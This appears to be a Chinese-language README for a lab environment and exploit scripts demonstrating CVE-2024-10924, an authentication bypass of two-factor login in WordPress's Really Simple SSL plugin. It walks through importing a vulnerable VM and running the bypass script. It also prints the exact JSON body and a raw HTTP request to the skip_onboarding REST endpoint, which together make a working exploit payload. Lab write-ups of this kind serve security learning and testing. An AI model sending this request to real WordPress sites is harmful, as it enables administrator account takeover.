针对CVE-2024-10924的实验室环境和漏洞利用脚本,演示了通过Really Simple SSL插件的skip_onboarding端点在WordPress中绕过MFA。
该仓库提供了一个用于利用 WordPress 中 CVE-2024-10924 漏洞的实验环境,旨在绕过**双因素认证(MFA)**并获取 WordPress 管理面板的访问权限。
要在您的环境中部署该实验,请按照以下步骤操作:
您需要解压实验的 zip 文件,然后在 VMware 中点击 Open 导入虚拟机,选择名为 Ubuntu-Bypass-MFA-Wordpress.vmx 的文件,最后点击 Power 启动易受攻击的虚拟机。
在您的 Kali 机器上安装必要的工具,并确保已安装以下软件:
nmaprequests:用于发送 HTTP 请求(如未安装,请使用 pip install requests 安装)。rich:用于在控制台输出美观内容(使用 pip install rich 安装)。要获取 WordPress 机器在网络环境中的 IP,请在 Kali 机器上运行以下脚本:
$ python3 knowIPwordpress.py
该脚本执行以下操作:
检测您的本地 IP。
扫描相应的网段以查找活动 IP。
对 HTTP 服务执行端口扫描。
检查 WordPress 机器的 IP 在其 HTTP 服务中是否包含标题 "Bypass-MFA"。
一旦找到,它将显示您可以访问 WordPress 管理面板的 URL:
Accede a WordPress en: http://<IP>/wp-admin
admin:admin
当您尝试登录 WordPress 时,系统会要求进行双因素验证(MFA)。要绕过此步骤,请在您的 Kali 上运行以下脚本:
$ python3 bypass-MFA-Wordpress.py
bypass-MFA-Wordpress.py 脚本的工作原理
该脚本利用 CVE-2024-10924 漏洞,绕过双重验证以获取 WordPress 管理面板的访问权限。
获取会话 Cookie:脚本向 reallysimplessl/v1/two_fa/skip_onboarding 端点发送 HTTP 请求以获取有效会话 Cookie。
请求发送时附带以下信息:
{
"user_id": 1,
"login_nonce": "133333337",
"redirect_to": "/wp-admin/"
}
获取 Cookie 后,脚本请求输入 WordPress 用户名和密码。然后向 wp-admin/profile.php 端点发送 POST 请求,使用提供的凭据进行登录。
如果绕过成功,脚本将管理员仪表板的响应保存为 .html 文件,并在默认浏览器中打开。
现在您就可以访问 WordPress 管理面板了!
如果您希望使用 BurpSuite 手动操作,并想了解需要向哪个 Endpoint 发送请求以捕获 Cookies,可以按以下方式操作:
$ python3 endpointWordpress.py
这将告诉我们需要在 BurpSuite 中使用的代码,在我的情况下大致如下:
POST http://192.168.5.192/?rest_route=/reallysimplessl/v1/two_fa/skip_onboarding HTTP/1.1
Host: 192.168.5.192
Content-Type: application/json
Content-Length: 89
Connection: keep-alive
{
"user_id": 1,
"login_nonce": "133333337",
"redirect_to": "/wp-admin/"
}